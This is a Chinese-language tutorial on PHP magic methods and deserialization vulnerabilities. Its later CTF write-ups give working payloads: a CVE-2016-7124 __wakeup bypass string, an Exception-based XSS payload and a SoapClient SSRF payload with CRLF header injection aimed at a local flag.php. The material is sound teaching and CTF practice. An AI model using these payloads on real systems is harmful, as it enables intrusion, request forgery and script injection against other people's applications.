方法&属性-调用详解&变量数据详解 原生类的利用场景:无方法可以使用的情况。
对象变量属性: public(公共的): 在本类内部、外部类、子类都可以访问 protect(受保护的): 只有本类或子类或父类中可以访问 private(私人的): 只有本类内部可以使用
序列化数据显示:
private 属性序列化的时候格式是%00 类名%00 成员名protect属性序列化的时候格式是%00 *%00 成员名 %00 和%00 *%00 都是插入到数据的首末的 
 
具体代码:
<?php header ("Content-type: text/html; charset=utf-8" );三种属性 
 
魔术方法 __construct和__destruct 1.创建触发__construct 2.强制删除和自动删除触发__destruct
class  Test  {    public  $name ;     public  $age ;     public  $string ;          public  function  __construct ($name , $age , $string  ) {         echo  "__construct 初始化" ."<br>" ;         $this ->name = $name ;         $this ->age = $age ;         $this ->string  = $string ;     }               function  __destruct ( ) {        echo  "__destruct 类执行完毕" ."<br>" ;     } } $test  = new  Test ("Spaceman" ,566 , 'Test String' );unset ($test );echo  '第一种执行完毕' .'<br>' ;echo  '----------------------<br>' ;$test  = new  test ("Spaceman" ,566 , 'Test String' );echo  '第二种执行完毕' .'<br>' ;
 
__toString输出调用 __toString ():在对象当做字符串的时候会被调用class  Test  {    public  $variable  = 'This is a string' ;     public  function  good ( ) {         echo  $this ->variable . '<br />' ;     }          public  function  __toString ( )      {        return  '__toString <br>' ;     } } $a  = new  Test ();$a ->good ();echo  $a ;
 
__CALL class  Test  {    public  function  good ($number ,$string  ) {         echo  '存在good方法' .'<br>' ;         echo  $number .'---------' .$string .'<br>' ;     }               public  function  __call ($method ,$args  ) {         echo  '不存在' .$method .'方法' .'<br>' ;         var_dump ($args );     } } $a  = new  Test ();$a ->good (566 ,'nice' );$b  = new  Test ();$b ->spaceman (899 ,'no' );
 
__get() class  Test   {    public  $n =123 ;          public  function  __get ($name  ) {         echo  '__get 不存在成员变量' .$name .'<br>' ;     } } $a  = new  Test ();echo  $a ->n;echo  '<br>' ;echo  $a ->spaceman;
 
__set() class  Test  {    public  $data  = 100 ;     protected  $noway =0 ;               public  function  __set ($name ,$value  ) {         echo  '__set 不存在成员变量 ' .$name .'<br>' ;         echo  '即将设置的值 ' .$value ."<br>" ;         $this ->noway=$value ;     }     public  function  Get ( ) {         echo  $this ->noway;     } } $a  = new  Test ();$a ->Get ();echo  '<br>' ;$a ->noway  = 899 ;$a ->Get ();echo  '<br>' ;$a ->spaceman = 566 ;$a ->Get ();
 
__sleep() class  Test  {    public  $name ;     public  $age ;     public  $string ;          public  function  __construct ($name , $age , $string  ) {         echo  "__construct 初始化" ."<br>" ;         $this ->name = $name ;         $this ->age = $age ;         $this ->string  = $string ;     }          public  function  __sleep ( ) {         echo  "当在类外部使用serialize()时会调用这里的__sleep()方法<br>" ;                  return  array ('name' , 'age' );     } } $a  = new  Test ("Spaceman" ,566 , 'Test String' );echo  serialize ($a );
 
__wakeup() class  Test  {    public  $sex ;     public  $name ;     public  $age ;     public  function  __construct ($name , $age , $sex  ) {         $this ->name = $name ;         $this ->age = $age ;         $this ->sex = $sex ;     }     public  function  __wakeup ( ) {         echo  "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>" ;         $this ->age = 566 ;     } } $person  = new  Test ('spaceman' ,21 ,'男' );$a  = serialize ($person );echo  $a ."<br>" ;var_dump  (unserialize ($a ));
 
__isset() class  Person  {    public  $sex ;     private  $name ;     private  $age ;     public  function  __construct ($name , $age , $sex  ) {         $this ->name = $name ;         $this ->age = $age ;         $this ->sex = $sex ;     }          public  function  __isset ($content  ) {         echo  "当在类外部使用isset()函数测定私有成员 {$content}  时,自动调用<br>" ;         return  isset ($this ->$content );     } } $person  = new  Person ("spaceman" , 25 ,'男' );echo  ($person ->sex),"<br>" ;echo  isset ($person ->name);
 
__unset() class  Person  {    public  $sex ;     private  $name ;     private  $age ;     public  function  __construct ($name , $age , $sex  ) {         $this ->name = $name ;         $this ->age = $age ;         $this ->sex = $sex ;     }          public  function  __unset ($content  )  {         echo  "当在类外部使用unset()函数来删除私有成员时自动调用的<br>" ;         echo  isset ($this ->$content )."<br>" ;     } } $person  = new  Person ("spaceman" , 21 ,"男" ); echo  "666666<br>" ;unset ($person ->name);unset ($person ->age);unset ($person ->sex);
 
__INVOKE() class  Test  {         public  function  __invoke ($param1 , $param2 , $param3  )  {        echo  "这是一个对象<br>" ;         var_dump ($param1 ,$param2 ,$param3 );     } } $a   = new  Test ();$a ('spaceman' ,21 ,'男' );?> 
 
实战 CTF-语言漏洞-__wakeup()方法绕过  __construct __destruct[极客大挑战 2019 ] PHP  漏洞编号:CVE-2016 -7124   题目制约:如果存在__wakeup方法,调用unserilize ()方法前则先调用__wakeup方法,     但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 漏洞点:     影响版本:PHP5 < 5.6 .25 ;PHP7 < 7.0 .10      漏洞原因:如果存在__wakeup方法,调用 unserilize () 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 整体思路:     1 、下载源码(www.zip)分析,触发flag条件     2 、分析会触发调用__wakeup 强制username值     3 、利用语言漏洞绕过 CVE-2016 -7124      4 、构造payload后 修改满足漏洞条件触发 源码(修改过):     class  Name       {        private  $username  = 'admin' ;         private  $password  = '100' ;         public  function  __construct ($username , $password  )          {        $this ->username = $username ;             $this ->password = $password ;         }                  function  __wakeup ( )          {            $this ->username = 'guest' ;         }         function  __destruct ( )          {            if  ($this ->password != 100 ) {                 echo  "</br>NO!!!hacker!!!</br>" ;                 echo  "You name is: " ;                 echo  $this ->username;                 echo  "</br>" ;                 echo  "You password is: " ;                 echo  $this ->password;                 echo  "</br>" ;                 die ();             }             if  ($this ->username === 'admin' ) {                 global  $flag ;                 echo  $flag ;             } else  {                 echo  "</br>hello my friend~~</br>sorry i can't give you the flag!" ;                 die ();             }         }     } Pyload:     生成payload的方式很简单,使用上面类,去掉所有的方法     只剩下两个变量,序列化并且url编码后,把对象O指定的数字2 (元素个数)改为3 即可     ?select=O%3 A4%3 A"Name" %3 A3%3 A%7 Bs%3 A14%3 A"%00Name%00username" %3 Bs%3 A5%3 A"admin" %3 Bs%3 A14%3 A"%00Name%00password" %3 Bi%3 A100%3 B%7 D 
 
CTF-方法原生类-获取&利用&配合其他★★★ 参考案例:https://www.anquanke.com/post/id/264823 
PHP有那些原生类-见脚本使用 
常见使用的原生类-见参考案例 
原生类该怎么使用-见官方说明 
 
0 、生成原生类<?php $classes  = get_declared_classes ();foreach  ($classes  as  $class ) {    $methods  = get_class_methods ($class );     foreach  ($methods  as  $method ) {         if  (in_array ($method , array (             '__destruct' ,             '__toString' ,             '__wakeup' ,             '__call' ,             '__callStatic' ,             '__get' ,             '__set' ,             '__isset' ,             '__unset' ,             '__invoke' ,             '__set_state'          ))) {             print  $class  . '::'  . $method  . "\n" ;         }     } }  
 
本地Demo-xss 这本身是一道赛题。
<?php highlight_file (__file__);$a  = unserialize ($_GET ['k' ]);echo  $a ;?> 
 
输出对象可调用__toString 
无代码通过原生类Exception 
Exception使用查询编写利用 
通过访问触发输出产生XSS漏洞 
 
<?php $a =new  Exception ("<script>alert('xiaodi')</script>" );echo  urlencode (serialize ($a ));?> 
 
CTFSHOW-259 
不存在的方法触发__call 
无代码通过原生类SoapClient 
SoapClient使用查询编写利用 
通过访问本地Flag.php获取Flag 
 
<?php $ua ="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow" ;$client =new  SoapClient (null ,array ('uri' =>'http://127.0.0.1/' ,'location' =>'http://127.0.0.1/flag.php' ,'user_agent' =>$ua ));echo  urlencode (serialize ($client ));?> payload:     vip=O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 ssrf%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A128%3 A%22 wupco%0 D%0 AX-Forwarded-For%3 A127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D